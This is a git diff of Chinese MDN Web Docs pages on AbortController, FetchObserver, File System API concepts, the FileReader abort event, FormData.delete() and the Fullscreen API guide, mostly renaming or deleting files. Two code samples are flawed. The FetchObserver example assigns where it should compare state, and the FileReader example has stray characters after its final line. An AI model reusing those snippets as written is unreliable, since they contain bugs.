{{APIRef("DOM")}}{{SeeCompatTable}}
- -

AbortController() 构造函数创建了一个新的AbortController实例

- -

Syntax

- -
var controller = new AbortController();
- -

Parameters

- -

无.

- -

Examples

- -

在下面的这段代码中, 我们将通过Fetch API来下载一段视频.

- -

首先通过{{domxref("AbortController.AbortController","AbortController()")}} 构造函数来创建一个controller实例, 然后通过{{domxref("AbortController.signal")}} 属性获取到它的关联对象{{domxref("AbortSignal")}} 的引用.

- -

当 fetch request 初始化后, 将 AbortSignal 作为一个选项传入请求的选项参数中 (如下 {signal}). 这将signal,controller与fetch请求关联起来, 允许我们通过调用{{domxref("AbortController.abort()")}}来取消fetch请求, 正如下第二个事件监听器所示.

- -
var controller = new AbortController();
-var signal = controller.signal;
-
-var downloadBtn = document.querySelector('.download');
-var abortBtn = document.querySelector('.abort');
-
-downloadBtn.addEventListener('click', fetchVideo);
-
-abortBtn.addEventListener('click', function() {
-  controller.abort();
-  console.log('Download aborted');
-});
-
-function fetchVideo() {
-  ...
-  fetch(url, {signal}).then(function(response) {
-    ...
-  }).catch(function(e) {
-    reports.textContent = 'Download error: ' + e.message;
-  })
-}
- -
-

提示: 当abort() 被调用,  fetch() promise 将会抛出一个AbortError对象.

-
- -

你可以在GitHub上找到一个完整的使用示例 — see abort-api (see it running live also).

- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-abortcontroller-abortcontroller', 'AbortController()')}}{{Spec2('DOM WHATWG')}}Initial definition
- -

Browser compatibility

- - - -

{{Compat("api.AbortController.AbortController")}}

- -

See also

- - diff --git a/files/zh-cn/web/api/fetchcontroller/index.html b/files/zh-cn/web/api/fetchcontroller/index.html deleted file mode 100644 index 4211eb8211..0000000000 --- a/files/zh-cn/web/api/fetchcontroller/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: AbortController -slug: Web/API/FetchController -tags: - - API - - AbortController - - Fetch - - how to cancel a fetch request -translation_of: Web/API/AbortController ---- -
{{APIRef("DOM")}}{{SeeCompatTable}}
- -

AbortController接口表示一个控制器对象,允许你根据需要中止一个或多个 Web请求。

- -

你可以使用 {{domxref("AbortController.AbortController()")}} 构造函数创建一个新的 AbortController 。使用{{domxref("AbortSignal")}} 对象可以完成与与DOM请求的通信。

- -

构造函数

- -
-
{{domxref("AbortController.AbortController()")}}
-
创建一个新的AbortController 对象实例。
-
- -

属性

- -
-
{{domxref("AbortController.signal")}} {{readonlyInline}}
-
返回一个{{domxref("AbortSignal")}}对象实例,它可以用来 with/abort 一个Web(网络)请求。
-
- -

方法

- -
-
{{domxref("AbortController.abort()")}}
-
中止一个尚未完成的Web(网络)请求。这能够中止fetch 请求,任何响应{{domxref("Body")}}的消费者和流。
-
- -

示例

- -

在下面的代码片段中,我们想通过 Fetch API 下载一段视频。

- -

我们先使用{{domxref("AbortController.AbortController","AbortController()")}}构造函数创建一个控制器,然后使用{{domxref("AbortController.signal")}}属性获取其关联 {{domxref("AbortSignal")}}对象的引用。

- -

当一个 fetch request 初始化,我们把 AbortSignal 作为一个选项传递到到请求对象(如下 {signal})。这将信号和控制器与获取请求相关联然后允许我们通过调用{{domxref("AbortController.abort()")}}中止请求,如下第二个事件监听函数。

- -
const controller = new AbortController();
-let signal = controller.signal;
-
-const downloadBtn = document.querySelector('.download');
-const abortBtn = document.querySelector('.abort');
-
-downloadBtn.addEventListener('click', fetchVideo);
-
-abortBtn.addEventListener('click', function() {
-  controller.abort();
-  console.log('Download aborted');
-});
-
-function fetchVideo() {
-  //...
-  fetch(url, {signal}).then(function(response) {
-    //...
-  }).catch(function(e) {
-    reports.textContent = 'Download error: ' + e.message;
-  })
-}
- -
-

注意:abort() 被调用时,fetch() promise 拒绝一个名为 AbortError 的DOMException

-
- -

可以在GitHub上找到完整的工作示例 — 请参见 abort-api另请参见实时运行)。

- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-abortcontroller', 'AbortController')}}{{Spec2('DOM WHATWG')}}Initial definition
- -

浏览器兼容

- - - -

{{Compat("api.AbortController")}}

- -

参见

- - - -
-
-
diff --git a/files/zh-cn/web/api/fetchobserver/index.html b/files/zh-cn/web/api/fetchobserver/index.html deleted file mode 100644 index 9bd7699388..0000000000 --- a/files/zh-cn/web/api/fetchobserver/index.html +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: FetchObserver -slug: Web/API/FetchObserver -translation_of: Web/API/FetchObserver ---- -
{{draft}}{{APIRef("Fetch API")}}{{SeeCompatTable}}
- -

FetchObserver接口提取API表示观察者对象,它允许您检索关于为获取请求的状态信息。

- -

Properties

- -

FetchObserver接口从其父接口继承属性EventTarget

- -
-
{{domxref("FetchObserver.state")}} {{readonlyInline}}
-
Returns a FetchState enum value indicating the current state of the fetch request.
-
- -

Event handlers

- -
-
{{domxref("FetchObserver.onstatechange")}}
-
Invoked when a {{event("statechange_(cancellable_fetch)", "statechange")}} event fires, i.e. when the state of the fetch request changes.
-
{{domxref("FetchObserver.onrequestprogress")}}
-
Invoked when a {{event("requestprogress")}} event fires, i.e. when the request progresses.
-
{{domxref("FetchObserver.onresponseprogress")}}
-
Invoked when a {{event("responseprogress")}} event fires, i.e. when the download of the response progresses.
-
- -

Methods

- -

The FetchSignal interface inherits methods from its parent interface, {{domxref("EventTarget")}}.

- -

Examples

- -

In the following snippet, we create a new {{domxref("FetchController")}} object, get its signal, and then give the signal to the fetch request via the signal parameter of its init object so the controller can control it. Later on we specify an event listener on a cancel button so that when the button is clicked, we abort the fetch request using {{domxref("FetchController.abort()")}}.

- -

We also specify an observe property inside the fetch request init object — this contains a {{domxref("ObserverCallback")}} object, the sole purpose of which is to provide a callback function that runs when the fetch request runs. This returns a {{domxref("FetchObserver")}} object that can be used to retrieve information concerning the status of a fetch request.

- -

Here we use {{domxref("FetchController.responseprogress")}} and {{domxref("FetchController.onstatechange")}} event handlers to respectively fill up a progress bar as more of the reponse downloads, and to determine when the download has completed and display a message to let the user know.

- -

Note that these event handlers are not yet supported anywhere.

- -
var controller = new FetchController();
-var signal = controller.signal;
-
-downloadBtn.addEventListener('click', function() {
-  fetch(url, {
-    signal,
-    observe(observer) {
-      observer.onresponseprogress = function(e) {
-        progress.max = e.total;
-        progress.value = e.loaded;
-      }
-
-      observer.onstatechange = function() {
-        if (observer.state = 'complete') {
-          reports.textContent = 'Download complete';
-        }
-      }
-    }
-  }).then( ... ) // do something with the response
-});
-
-cancelBtn.addEventListener('click', function() {
-  controller.abort();
-});
- -

You can find a work-in-progress demo showing usage of FetchObserver on GitHub (see the source code and the live example).

- -

Specifications

- -

Not part of a specification yet.

- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support -

{{CompatNo}}

-
{{CompatNo}}{{CompatNo}}[1]{{CompatNo}} -

{{CompatNo}}

-
{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] Hidden behind a preference in 55+ Nightly. In about:config, you need to create two new boolean prefs — dom.fetchObserver.enabled and dom.fetchController.enabled — and set the values of both to true.

- -

See also

- - diff --git a/files/zh-cn/web/api/file_and_directory_entries_api/introduction/index.html b/files/zh-cn/web/api/file_and_directory_entries_api/introduction/index.html new file mode 100644 index 0000000000..e26a6b3c45 --- /dev/null +++ b/files/zh-cn/web/api/file_and_directory_entries_api/introduction/index.html @@ -0,0 +1,210 @@ +--- +title: 文件系统API的基本概念 +slug: WebGuide/API/File_System/Introduction +translation_of: Web/API/File_and_Directory_Entries_API/Introduction +--- +

本文是对Basic_Concepts_About_the_Filesystem_API一文的译文。

+ +

文件系统API(File System API)模拟网络应用程序可以导航到的本地文件系统。你可以开发应用在一个沙盒的虚拟文件系统中读、写、创建以及索引文件。

+ +

该文件系统API与其他相关的API交互。它基于文件写入API(File Writer API),而后者又基于文件API(File API)。每一个API都具有不同的功能。这些API对于网络应用而言是一个巨大的进化飞跃,使得它们能够缓存和处理大量级的数据。

+ +

关于这篇文档

+ +

这篇介绍讨论了文件系统API中的基本概念和术语。它将给出一个大致的蓝图并引导你理解其中的 关键概念. 它也描述了一些限制,如果你忽略了它们将额能产生安全错误。关于该API中使用的更多术语,查看定义部分. 

+ +

关于文件系统API的引用文献部分,查看引用 的登陆页及其子页.

+ +

该规范仍然在定义中并可能会变更.

+ +

概要

+ +

文件系统API包括异步同步两种接口。异步API可以应用于当你不想操作锁定UI的情况。另一方面,同步API允许简单的程序模型,但它必须和WebWorkers一起使用

+ +

该API的用途

+ +

文件系统API的重要性体现在以下方面:

+ + + +

关于你用该api能够创建的特性示例,查看 使用示例 部分.  

+ +

文件系统API和其他存储API

+ +

文件系统API是一些其他存储API,例如 IndexedDB, WebSQL(已于2010年9月18日起弃用),以及AppCache等的替代品。该API对于那些处理blob的应用而言是一种更好的选择,因为:

+ + + +

示例使用场景

+ +

下面是关于你可以如何使用文件系统API的几个示例:

+ + + +

主要概念

+ +

在开始使用文件系统API之前,你需要理解几个概念:

+ + + +

文件系统API是一个文件系统的虚拟表现形式

+ +

该API不会使你能够访问本地文件系统,该沙盒也并不是文件系统的一部分。相反,它是一个虚拟的文件系统,对于网络应用而言它就像是一个成熟的文件系统。它不需要在浏览器之外与本地文件系统产生任何关系。

+ +

这 就意味着,一个网络应用和一个桌面应用不能在同时共享同一个文件。该API不能使你的网络应用脱离浏览器接触到文件,而桌面应用可以。然而,你可以从一个 网络应用中导出一个文件到桌面应用。例如,你可以使用文件API,创建blob, 重定向一个iframe指向该blob, 并调用下载管理器。

+ +

文件系统API可以使用不同的存储类型

+ +

一个应用可能需要临时或固定的存储。临时存储相对容易获得,因为浏览器已经提供了;但它是受到限制并可能在空间耗尽时被浏览器删除。另一方面,固定存储可以为你提供更大的空间并只能被用户删除,但它需要用户获得你的许可。

+ +

使用临时存储进行缓存,而用固定存储来保存那些你希望你的应用保存的类似用户产生的或独特的数据。

+ +

浏览器限定存储的配额

+ +

为了防止一个网络应用占用整个磁盘,浏览器可能会给每一个应用限定配额并分配存储。

+ +

存储空间如何分配以及你可以如何管理存储是浏览器的特性,因此你需要查阅浏览器各自的文档。例如,Google Chrome在规范中允许超过5MB的临时存储并支持配额管理API. 了解更多关于Chrome的实现,查看管理HTML5线下存储.

+ +

文件系统API拥有异步和同步两种版本

+ +

文件系统API拥有异步和同步两种版本。两种版本的API提供相同的功能和特性。事实上,它们基本相同,除了几个不同点以外。

+ + + +

对于一些任务而言同步API可能更简单一些。它直接的,顺序编程的模块可以让代码更易于阅读。其缺点在于它必须与Web Worker交互,而后者有一些限制。

+ +

当使用异步API时,务必使用错误回调

+ +

当使用异步API时,务必总是使用错误回调。虽然对于相关的方法而言错误回调是可选参数,但是明智的做法是把它们当成必选的。至少,通过处理错误得到的错误信息,你可以知道发生了什么。

+ +

文件系统API与其他API交互

+ +

文件系统API被设计用于在网络平台上与其他API以及元素交互。例如,你可能使用到如下内容之一:

+ + + +

文件系统API区分大小写

+ +
文件系统API区分大小写并保留大小写。
+ +

 

+ +

限制

+ +

出于安全的原因,浏览器对于文件的访问施加了一些限制。如果你忽略它们,将会产生安全错误。

+ + + +

文件系统API坚持同源策略

+ +

一个源是脚本执行的文档的URL的域,应用层协议和端口。每一个源拥有它自己关联的一组文件系统

+ +

文件系统上作出的安全限定阻止应用访问不同源的数据。这保护了私有数据以防被访问或删除。例如,当一个应用或页面在http://www.example.com/app/上时,它能访问位于http://www.example.com/dir/上的文件,因为它们拥有相同的源,它不能得到位于http://www.example.com:8080/dir/ (不同端口)或https://www.example.com/dir/ (不同协议)上的文件。

+ +

文件系统API不允许创建或重命名可执行文件

+ +

为防止恶意的应用运行可执行文件,你不能在文件系统API的沙盒中创建可执行文件。

+ +

文件系统是沙盒的

+ +

因为文件系统是沙盒的,一个网络应用不能访问另一个应用的文件。你也不能读写用户硬盘中任意文件夹中的文件。

+ +

不能通过file://来运行你的应用

+ +

你不能在本地通过file://来运行你的应用。如果你那么做了,浏览器将抛出错误,或者你的应用会静默地失败。这一限制也同样针对许多其他的文件API,包括BlobBuilder和FileReader。

+ +

出于测试的目的,你可以在Chrome中通过在启动时添加--allow-file-access-from-files参数来绕开这一限制,这一参数仅用于这个目的。

+ +

定义

+ +

这一部分定义和解释了文件系统API中使用的术语.

+ +
+
blob
+
代表二进制大对象。一个blob是存储在单一对象中的一组二进制数据。这是在网络应用中引用二进制数据的通用方法。一个blob可以是一个图片或音频文件。
+
Blob
+
Blob(以大写B开头的)是一个不可变的数据结构,这意味着一个blob引用的二进制数据不能被直接修改。这使得当Blobs传入到异步API时它们的行为将是可预见的。
+
persistent storage | 固定存储
+
固定存储是一种在浏览器中长期存在的的存储,除非用户永久删除它或应用删除它。
+
temporary storage | 临时存储
+
临时存储是任何网络应用都拥有的。它是自动而不需要请求的,但浏览器可以没有任何警告地删除这些存储。
+
+ +

其他

+ +

规范:http://dev.w3.org/2009/dap/file-system/pub/FileSystem/

+ +

引用: File System API Reference

+ +

相关文档:

+ + diff --git a/files/zh-cn/web/api/filereader/abort_event/index.html b/files/zh-cn/web/api/filereader/abort_event/index.html new file mode 100644 index 0000000000..8e36dbb3dd --- /dev/null +++ b/files/zh-cn/web/api/filereader/abort_event/index.html @@ -0,0 +1,175 @@ +--- +title: 'FileReader: 中止事件(abort)' +slug: Web/API/FileReader/中止事件(abort) +tags: + - API + - FileReader + - ProgressEvent + - Reference + - Web + - abort + - 中止 + - 事件 +translation_of: Web/API/FileReader/abort_event +--- +
{{APIRef}}
+ +

在中止读取时会触发 abort 事件: 例如程序调用{{domxref("FileReader.abort()")}}.

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
可取消No
接口{{domxref("ProgressEvent")}}
事件处理属性{{domxref("FileReader.onabort")}}
+ +

例子

+ +

实例

+ +

HTML

+ +
<div class="example">
+
+    <div class="file-select">
+        <label for="avatar">选择你的头像:</label>
+        <input type="file"
+               id="avatar" name="avatar"
+               accept="image/png, image/jpeg">
+    </div>
+
+    <img src="" class="preview" height="200" alt="图像预览...">
+
+    <div class="event-log">
+        <label>事件日志:</label>
+        <textarea readonly class="event-log-contents"></textarea>
+    </div>
+
+  </div>
+ + + +

JS

+ +
const fileInput = document.querySelector('input[type="file"]');
+const preview = document.querySelector('img.preview');
+const eventLog = document.querySelector('.event-log-contents');
+const reader = new FileReader();
+
+function handleEvent(event) {
+    eventLog.textContent = eventLog.textContent + `${event.type}: ${event.loaded} bytes transferred\n`;
+
+    if (event.type === "load") {
+        preview.src = reader.result;
+    }
+}
+
+function addListeners(reader) {
+    reader.addEventListener('loadstart', handleEvent);
+    reader.addEventListener('load', handleEvent);
+    reader.addEventListener('loadend', handleEvent);
+    reader.addEventListener('progress', handleEvent);
+    reader.addEventListener('error', handleEvent);
+    reader.addEventListener('abort', handleEvent);
+}
+
+function handleSelected(e) {
+    eventLog.textContent = '';
+    const selectedFile = fileInput.files[0];
+    if (selectedFile) {
+        addListeners(reader);
+        reader.readAsDataURL(selectedFile);
+    }
+    reader.abort();
+}
+
+fileInput.addEventListener('change', handleSelected);返回返回发的
+
+ +

返回结果

+ +

{{ EmbedLiveSample('Live_example', '100%', '300px') }}

+ +

参数

+ + + + + + + + + + + + + + +
参数状态
{{SpecName('File API', '#dfn-abort-event')}}{{Spec2('File API')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.FileReader.abort_event")}}

+ +

另请参见

+ + diff --git "a/files/zh-cn/web/api/filereader/\344\270\255\346\255\242\344\272\213\344\273\266(abort)/index.html" "b/files/zh-cn/web/api/filereader/\344\270\255\346\255\242\344\272\213\344\273\266(abort)/index.html" deleted file mode 100644 index 8e36dbb3dd..0000000000 --- "a/files/zh-cn/web/api/filereader/\344\270\255\346\255\242\344\272\213\344\273\266(abort)/index.html" +++ /dev/null @@ -1,175 +0,0 @@ ---- -title: 'FileReader: 中止事件(abort)' -slug: Web/API/FileReader/中止事件(abort) -tags: - - API - - FileReader - - ProgressEvent - - Reference - - Web - - abort - - 中止 - - 事件 -translation_of: Web/API/FileReader/abort_event ---- -
{{APIRef}}
- -

在中止读取时会触发 abort 事件: 例如程序调用{{domxref("FileReader.abort()")}}.

- - - - - - - - - - - - - - - - - - - - -
BubblesNo
可取消No
接口{{domxref("ProgressEvent")}}
事件处理属性{{domxref("FileReader.onabort")}}
- -

例子

- -

实例

- -

HTML

- -
<div class="example">
-
-    <div class="file-select">
-        <label for="avatar">选择你的头像:</label>
-        <input type="file"
-               id="avatar" name="avatar"
-               accept="image/png, image/jpeg">
-    </div>
-
-    <img src="" class="preview" height="200" alt="图像预览...">
-
-    <div class="event-log">
-        <label>事件日志:</label>
-        <textarea readonly class="event-log-contents"></textarea>
-    </div>
-
-  </div>
- - - -

JS

- -
const fileInput = document.querySelector('input[type="file"]');
-const preview = document.querySelector('img.preview');
-const eventLog = document.querySelector('.event-log-contents');
-const reader = new FileReader();
-
-function handleEvent(event) {
-    eventLog.textContent = eventLog.textContent + `${event.type}: ${event.loaded} bytes transferred\n`;
-
-    if (event.type === "load") {
-        preview.src = reader.result;
-    }
-}
-
-function addListeners(reader) {
-    reader.addEventListener('loadstart', handleEvent);
-    reader.addEventListener('load', handleEvent);
-    reader.addEventListener('loadend', handleEvent);
-    reader.addEventListener('progress', handleEvent);
-    reader.addEventListener('error', handleEvent);
-    reader.addEventListener('abort', handleEvent);
-}
-
-function handleSelected(e) {
-    eventLog.textContent = '';
-    const selectedFile = fileInput.files[0];
-    if (selectedFile) {
-        addListeners(reader);
-        reader.readAsDataURL(selectedFile);
-    }
-    reader.abort();
-}
-
-fileInput.addEventListener('change', handleSelected);返回返回发的
-
- -

返回结果

- -

{{ EmbedLiveSample('Live_example', '100%', '300px') }}

- -

参数

- - - - - - - - - - - - - - -
参数状态
{{SpecName('File API', '#dfn-abort-event')}}{{Spec2('File API')}}
- -

浏览器兼容性

- - - -

{{Compat("api.FileReader.abort_event")}}

- -

另请参见

- - diff --git a/files/zh-cn/web/api/formdata/delete/index.html b/files/zh-cn/web/api/formdata/delete/index.html new file mode 100644 index 0000000000..9d38b4e20a --- /dev/null +++ b/files/zh-cn/web/api/formdata/delete/index.html @@ -0,0 +1,71 @@ +--- +title: FormData.delete() +slug: Web/API/FormData/删除 +tags: + - 删除 +translation_of: Web/API/FormData/delete +--- +

{{APIRef("XMLHttpRequest")}}

+ +

{{domxref("FormData")}} 接口的 delete() 方法会从 FormData 对象中删除指定键,即 key,和它对应的值,即 value。

+ +
+

Note: 此方法可用于 Web Workers

+
+ +

语法

+ +
formData.delete(name);
+ +

参数

+ +
+
name
+
要删除的键(Key)的名字。
+
+ +

返回

+ +

空。

+ +

例子

+ +

以下代码将会创建一个空的 FormData 对象, 并且从指定的表单中获取键值对:

+ +
var formData = new FormData(myForm);
+ +

你可以通过 delete() 方法来删除键值对:

+ +
formData.delete('username');
+ +

规范

+ + + + + + + + + + + + + + +
说明状态备注
{{SpecName('XMLHttpRequest','#dom-formdata-delete','delete()')}}{{Spec2('XMLHttpRequest')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.FormData.delete")}}

+ +

参见

+ + diff --git "a/files/zh-cn/web/api/formdata/\345\210\240\351\231\244/index.html" "b/files/zh-cn/web/api/formdata/\345\210\240\351\231\244/index.html" deleted file mode 100644 index 9d38b4e20a..0000000000 --- "a/files/zh-cn/web/api/formdata/\345\210\240\351\231\244/index.html" +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: FormData.delete() -slug: Web/API/FormData/删除 -tags: - - 删除 -translation_of: Web/API/FormData/delete ---- -

{{APIRef("XMLHttpRequest")}}

- -

{{domxref("FormData")}} 接口的 delete() 方法会从 FormData 对象中删除指定键,即 key,和它对应的值,即 value。

- -
-

Note: 此方法可用于 Web Workers

-
- -

语法

- -
formData.delete(name);
- -

参数

- -
-
name
-
要删除的键(Key)的名字。
-
- -

返回

- -

空。

- -

例子

- -

以下代码将会创建一个空的 FormData 对象, 并且从指定的表单中获取键值对:

- -
var formData = new FormData(myForm);
- -

你可以通过 delete() 方法来删除键值对:

- -
formData.delete('username');
- -

规范

- - - - - - - - - - - - - - -
说明状态备注
{{SpecName('XMLHttpRequest','#dom-formdata-delete','delete()')}}{{Spec2('XMLHttpRequest')}} 
- -

浏览器兼容性

- - - -

{{Compat("api.FormData.delete")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/fullscreen_api/guide/index.html b/files/zh-cn/web/api/fullscreen_api/guide/index.html new file mode 100644 index 0000000000..b2d2d36f3a --- /dev/null +++ b/files/zh-cn/web/api/fullscreen_api/guide/index.html @@ -0,0 +1,235 @@ +--- +title: 全屏指南 +slug: Web/API/Fullscreen_API/指南 +tags: + - API + - 全屏 + - 全屏 API + - 图像 + - 屏幕 + - 展示 + - 指南 + - 显示 + - 游戏 +translation_of: Web/API/Fullscreen_API/Guide +--- +
{{DefaultAPISidebar("Fullscreen API")}}
+ +

本文主要说明如何使用全屏API将给定元素设置为全屏模式,以及如何检测浏览器何时进入或退出全屏模式。

+ +

激活全屏模式

+ +

对于一个你想要以全屏模式展示的元素(例如 {{ HTMLElement("video") }}),你通过调用它的 {{ domxref("Element.requestFullscreen()") }} 方法就能简单地激活它的全屏模式。

+ +

我们来看看 {{HTMLElement("video")}} 这个元素:

+ +
<video controls id="myvideo">
+  <source src="somevideo.webm"></source>
+  <source src="somevideo.mp4"></source>
+</video>
+
+ +

我们可以用下面的代码让视频进入全屏模式:

+ +
var elem = document.getElementById("myvideo");
+if (elem.requestFullscreen) {
+  elem.requestFullscreen();
+}
+ +

这段代码会在调用 requestFullscreen() 方法之前先检验它是否存在。

+ +

显示差异

+ +

值得留意的是,目前 Gecko 和 WebKit 的实现之间的关键差异:Gecko 自动为元素添加了CSS规则,使其拉伸以填满屏幕: "width: 100%; height: 100%"。WebKit 没有这样做,相反地,它将全屏元素居中,不改变大小,而屏幕的其他部分为黑色。为了在 Webkit 中获得相同的全屏行为,你需要自行为元素添加 CSS "width: 100%; height: 100%;":

+ +
#myvideo:-webkit-full-screen {
+  width: 100%;
+  height: 100%;
+}
+
+ +

另一方面, 如果你尝试在在 Gecko 上模拟 WebKit 的行为,你需要把你想要呈现的元素放在另一个实际调整为全屏幕的元素中, 并使用 CSS 规则调整内部的元素,从而达到你想要的样式。

+ +

通知

+ +

当成功进入全屏模式时,包含该元素的文档会收到一个 {{Event("fullscreenchange")}} 事件。当退出全屏模式时,文档会再一次收到 {{Event("fullscreenchange")}} 事件。注意此 {{Event("fullscreenchange")}} 事件,不管在文档进入和退出全屏模式时,都不会提供任何信息,但如果文档的 {{DOMxRef("document.fullscreenElement", "fullscreenElement")}} 为非空(`null`),即处于全屏模式中。

+ +

当全屏请求失败时

+ +

你并不总是可以进入全屏模式。例如 {{HTMLElement("iframe")}} 元素具有 {{HTMLAttrXRef("allowfullscreen", "iframe")}} 属性,可选择是否将其内容以全屏模式显示。另外,几种特定的内容,比如窗体插件(windowed plug-ins),不能以全屏模式显示。尝试将不能以全屏模式显示的元素(或者此元素的父元素和后代元素)的时候,全屏请求是无效的。而相应元素会收到一个 mozfullscreenerror 事件。当全屏请求失败时,Firefox 会在 Web 控制台上打一条错误信息解释请求为什么失败。但是在 Chrome 和新版的 Opera 中,不会生成这样的警告。

+ +
+

注意:全屏请求必须在事件处理函数中调用,否则将会被拒绝。 

+
+ +

退出全屏模式

+ +

 

+ +

用户总是可以自行退出全屏模式;详见 {{Anch("Things your users want to know")}}。你也可以以编程方式通过调用 {{DOMxRef("Document.exitFullscreen()")}} 方法来做到这点。

+ +

其他信息

+ +

{{DOMxRef("Document")}} 提供了一些额外的信息, 在开发全屏网络应用时会很有用:

+ +
+
{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}
+
fullscreenElement 属性可以告诉你当前以全屏模式显示的元素 {{DOMxRef("Element")}} 。若此项非空,文档处于全屏模式中,否则不在。
+
{{DOMxRef("Document.fullscreenEnabled")}}
+
fullscreenEnabled 属性可以告诉你文档当前是否为允许请求进入全屏幕模式的状态。
+
+ +

你的用户想了解的信息

+ +

你可能想确保使你的用户得知他可以按 ESC  键(或 F11) 退出全屏模式。

+ +

此外,当处在全屏模式中,浏览其他页面、切换标签页、或者切换到其他应用 (例如使用 Alt-Tab)  也会导致退出全屏模式。

+ +

示例

+ +

在这个例子中,网页中显示了一个视频。按下 Return 或 Enter 键让用户在视频的窗口显示和全屏显示之间切换。

+ +

View Live Examples

+ +

监听 Enter 键

+ +

当页面加载完成时,这段代码可以设置一个事件监听器以监听 Enter 键。

+ +
document.addEventListener("keydown", function(e) {
+  if (e.keyCode == 13) {
+    toggleFullScreen();
+  }
+}, false);
+
+ +

切换全屏模式

+ +

当用户按下 Enter 键时,这段代码会被调用,像上面示例看到的那样。

+ +
function toggleFullScreen() {
+  if (!document.fullscreenElement) {
+    document.documentElement.requestFullscreen();
+  } else {
+    if (document.exitFullscreen) {
+      document.exitFullscreen();
+    }
+  }
+}
+ +

这段代码首先检查 {{DOMxRef("document")}} 的fullscreenElement 属性的值(亦要检查带有前缀 mozmswebkit)。如果其为 null,文档当前处于窗口模式中,所以我们需要切换到全屏模式。通过调用{{DOMxRef("element.requestFullscreen()")}},可以切换到全屏模式。

+ +

如果全屏模式已经激活 (fullscreenElement 不为 null),我们可以调用 {{DOMxRef("document.exitFullscreen()")}}(或其前缀化的版本,这取决于你使用的浏览器)。

+ +

前缀

+ +
+

注意:现在,只有 Firefox 64 和 Chrome 71 支持无前缀。

+
+ +

目前并不是所有的浏览器都实现了 API 的无前缀版本(你可以使用 Fscreen 获取跨浏览器全屏API),这里有一份表格总结了前缀和它们之间的命名区别:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StandardWebKit (Safari) / Blink (Chrome & Opera) / EdgeGecko (Firefox)Internet Explorer
{{DOMxRef("Document.fullscreen")}} {{Deprecated_Inline}}webkitIsFullScreenmozFullScreen-
{{DOMxRef("Document.fullscreenEnabled")}}webkitFullscreenEnabledmozFullScreenEnabledmsFullscreenEnabled
{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}webkitFullscreenElementmozFullScreenElementmsFullscreenElement
{{DOMxRef("Document.onfullscreenchange")}}onwebkitfullscreenchangeonmozfullscreenchangeonMSFullscreenChange
{{DOMxRef("Document.onfullscreenerror")}}onwebkitfullscreenerroronmozfullscreenerroronMSFullscreenError
{{DOMxRef("Document.exitFullscreen()")}}webkitExitFullscreen()mozCancelFullScreen()msExitFullscreen()
{{DOMxRef("Element.requestFullscreen()")}}webkitRequestFullscreen()mozRequestFullScreen()msRequestFullscreen()
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}初始版本
+ +

浏览器兼容性

+ +

Document.fullscreen

+ +
+ + +

{{Compat("api.Document.fullscreen")}}

+ +

Document.fullscreenEnabled

+ +
+ + +

{{Compat("api.Document.fullscreenEnabled")}}

+
+
+ +

扩展链接

+ + + +

 

diff --git "a/files/zh-cn/web/api/fullscreen_api/\346\214\207\345\215\227/index.html" "b/files/zh-cn/web/api/fullscreen_api/\346\214\207\345\215\227/index.html" deleted file mode 100644 index b2d2d36f3a..0000000000 --- "a/files/zh-cn/web/api/fullscreen_api/\346\214\207\345\215\227/index.html" +++ /dev/null @@ -1,235 +0,0 @@ ---- -title: 全屏指南 -slug: Web/API/Fullscreen_API/指南 -tags: - - API - - 全屏 - - 全屏 API - - 图像 - - 屏幕 - - 展示 - - 指南 - - 显示 - - 游戏 -translation_of: Web/API/Fullscreen_API/Guide ---- -
{{DefaultAPISidebar("Fullscreen API")}}
- -

本文主要说明如何使用全屏API将给定元素设置为全屏模式,以及如何检测浏览器何时进入或退出全屏模式。

- -

激活全屏模式

- -

对于一个你想要以全屏模式展示的元素(例如 {{ HTMLElement("video") }}),你通过调用它的 {{ domxref("Element.requestFullscreen()") }} 方法就能简单地激活它的全屏模式。

- -

我们来看看 {{HTMLElement("video")}} 这个元素:

- -
<video controls id="myvideo">
-  <source src="somevideo.webm"></source>
-  <source src="somevideo.mp4"></source>
-</video>
-
- -

我们可以用下面的代码让视频进入全屏模式:

- -
var elem = document.getElementById("myvideo");
-if (elem.requestFullscreen) {
-  elem.requestFullscreen();
-}
- -

这段代码会在调用 requestFullscreen() 方法之前先检验它是否存在。

- -

显示差异

- -

值得留意的是,目前 Gecko 和 WebKit 的实现之间的关键差异:Gecko 自动为元素添加了CSS规则,使其拉伸以填满屏幕: "width: 100%; height: 100%"。WebKit 没有这样做,相反地,它将全屏元素居中,不改变大小,而屏幕的其他部分为黑色。为了在 Webkit 中获得相同的全屏行为,你需要自行为元素添加 CSS "width: 100%; height: 100%;":

- -
#myvideo:-webkit-full-screen {
-  width: 100%;
-  height: 100%;
-}
-
- -

另一方面, 如果你尝试在在 Gecko 上模拟 WebKit 的行为,你需要把你想要呈现的元素放在另一个实际调整为全屏幕的元素中, 并使用 CSS 规则调整内部的元素,从而达到你想要的样式。

- -

通知

- -

